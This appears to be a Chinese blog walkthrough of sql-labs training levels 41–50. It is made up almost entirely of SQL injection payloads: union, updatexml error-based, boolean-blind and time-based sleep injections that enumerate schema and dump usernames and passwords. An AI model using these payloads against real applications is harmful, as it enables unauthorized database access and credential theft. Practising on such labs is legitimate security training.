当前位置: 首页 > news >正文

sql-labs靶场(41-50)

四十一

1.查看数据库名

?id=-1 union select 1,2,database()--+

2.查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

3.查看user表列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

4.查看user表中信息

?id=-1 union select 1,2,group_concat(id,username,password) from users --+

四十二

1.抓包发送到重放器

2.查看数据库名

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select database())),1)--+

3.查看表名

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

4.查看user表中列名

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

5.查看user表中信息

login_user=1'--+&login_password=1000'or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

四十三

1.登录抓包放到重放器

2.查看数据库名

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select database())),1)--+

3.查看表名

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

4.查看user表中列名

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

5.查看user表中信息

login_user=1')--+&login_password=1000')or updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+

四十四

1.登录抓包放到重放器

2.

页面只有ture和flase两种情况,所以需要使用布尔盲注

判断数据库长度大于7 页面图片消失

login_user=1'or 1=1--+&login_password=1000'or length(database())>7--+

3.

判断数据库长度大于8 页面报错 说明数据库长度等于8:

login_user=1'or 1=1--+&login_password=1000'or length(database())>8--+

4.判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>114--+

5.判断数据库第一位字符的ascii码是否大于115 页面显示报错  说明第一位字符ascii码等于115

login_user=1'or 1=1--+&login_password=1000'or ascii(substr(database(),1,1))>115--+

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

6.查security数据库中第一张表的第一位字符

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

7.

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

8.判断users表中第一个字段的第一位字符

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

9.

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

10.判断username列的第一条数据的第一个字符

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>67--+

11.

login_user=1'or 1=1--+&login_password=1000'or ascii(substr((select username from users limit 0,1),1,1))>68--+

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........最终得出users表里面的username字段的第一条数据为Dumb

四十五.

1.抓包放入重放器里

2.页面只有ture和flase两种情况,所以需要使用布尔盲注

判断数据库长度大于7 页面图片消失

login_user=1')or 1=1--+&login_password=1000')or length(database())>7--+

3.判断数据库长度大于8 页面报错 说明数据库长度等于8:

login_user=1')or 1=1--+&login_password=1000')or length(database())>8--+

4.判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面图片消失
login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>114--+

5.判断数据库第一位字符的ascii码是否大于115 页面显示报错  说明第一位字符ascii码等于115

login_user=1')or 1=1--+&login_password=1000')or ascii(substr(database(),1,1))>115--+

6.查security数据库中第一张表的第一位字符

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--

7.

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

8.判断users表中第一个字段的第一位字符

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

9.

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+


说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

10.判断username列的第一条数据的第一个字符

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>67--+

11.

login_user=1')or 1=1--+&login_password=1000')or ascii(substr((select username from users limit 0,1),1,1))>68--+

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........最终得出users表里面的username字段的第一条数据为Dumb

四十六.

1.这关的参数是sort,输入?sort=1

2查看数据库

?sort=1 and updatexml(1,concat(1,(select database())),1)

3.查看表名

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

四十七

1.这关的参数是sort,输入?sort=1'--+闭合

2.查看数据库

?sort=1' and updatexml(1,concat(1,(select database())),1)--+

3.查看表名

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

四十八

1.这关的参数是sort,输入?sort=1

2.查看数据库

判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)

3,

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

4.查看表名

查security数据库中第一张表的第一位字符

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)

5.页面延迟三秒访问

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

页面正常访问

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

四十九

1.这关的参数是sort,输入?sort=1'--+闭合

2.查看数据库


判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

3.判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

4.查看表名
查security数据库中第一张表的第一位字符

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

5.页面延迟三秒访问

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

页面正常访问

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

五十

1这关的参数是sort,输入?sort=1

2.查看数据库

?sort=1 and updatexml(1,concat(1,(select database())),1)

3.查看表名

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Linux主机网络参数的设置—IP地址的作用和类型
  • 十一头像红旗怎么弄的?3个方法轻松教会你!
  • 贴梗海棠T2T基因组-文献精读40
  • 网优学习干货:2.6G仿真操作(2)
  • PTA - C语言接口题集2
  • 算法练习题06:leetcode793每日温度
  • 04:布局规划
  • 一个php快速项目搭建框架源码,带一键CURD等功能
  • DRF——serializer中获取嵌套评论
  • 力扣135-分发糖果(java详细题解)
  • 《黑神话:悟空》:30%抽成真相
  • 使用ffmpeg+node-media-server实现从rtsp服务器拉流再推送至rtmp服务器,实现http+flv进行web播放
  • 线性查找表的应用:用户登录注册程序
  • 分页查询--条件查询
  • 可以根据手机的折叠状态改变播放音效:nova Flip 的妙趣音效
  • 《网管员必读——网络组建》(第2版)电子课件下载
  • 【每日笔记】【Go学习笔记】2019-01-10 codis proxy处理流程
  • Java面向对象及其三大特征
  • jquery ajax学习笔记
  • jquery cookie
  • mysql 数据库四种事务隔离级别
  • PHP 程序员也能做的 Java 开发 30分钟使用 netty 轻松打造一个高性能 websocket 服务...
  • Python实现BT种子转化为磁力链接【实战】
  • scrapy学习之路4(itemloder的使用)
  • STAR法则
  • 百度小程序遇到的问题
  • 编写高质量JavaScript代码之并发
  • 翻译 | 老司机带你秒懂内存管理 - 第一部(共三部)
  • 如何邀请好友注册您的网站(模拟百度网盘)
  • 算法-插入排序
  • 用Visual Studio开发以太坊智能合约
  • 责任链模式的两种实现
  • 怎么将电脑中的声音录制成WAV格式
  • UI设计初学者应该如何入门?
  • ​ 轻量应用服务器:亚马逊云科技打造全球领先的云计算解决方案
  • (4)Elastix图像配准:3D图像
  • (vue)页面文件上传获取:action地址
  • (补)B+树一些思想
  • (函数)颠倒字符串顺序(C语言)
  • (七)Activiti-modeler中文支持
  • (十一)JAVA springboot ssm b2b2c多用户商城系统源码:服务网关Zuul高级篇
  • (一) springboot详细介绍
  • ****Linux下Mysql的安装和配置
  • *算法训练(leetcode)第四十七天 | 并查集理论基础、107. 寻找存在的路径
  • .360、.halo勒索病毒的最新威胁:如何恢复您的数据?
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器
  • .NET Standard / dotnet-core / net472 —— .NET 究竟应该如何大小写?
  • .NET 设计模式初探
  • /usr/bin/perl:bad interpreter:No such file or directory 的解决办法
  • [ 环境搭建篇 ] 安装 java 环境并配置环境变量(附 JDK1.8 安装包)
  • [8] CUDA之向量点乘和矩阵乘法
  • [AIGC 大数据基础]hive浅谈
  • [Algorithm][综合训练][kotori和气球][体操队形][二叉树中的最大路径和]详细讲解
  • [bzoj 3534][Sdoi2014] 重建
  • [C++] C++11详解 (一)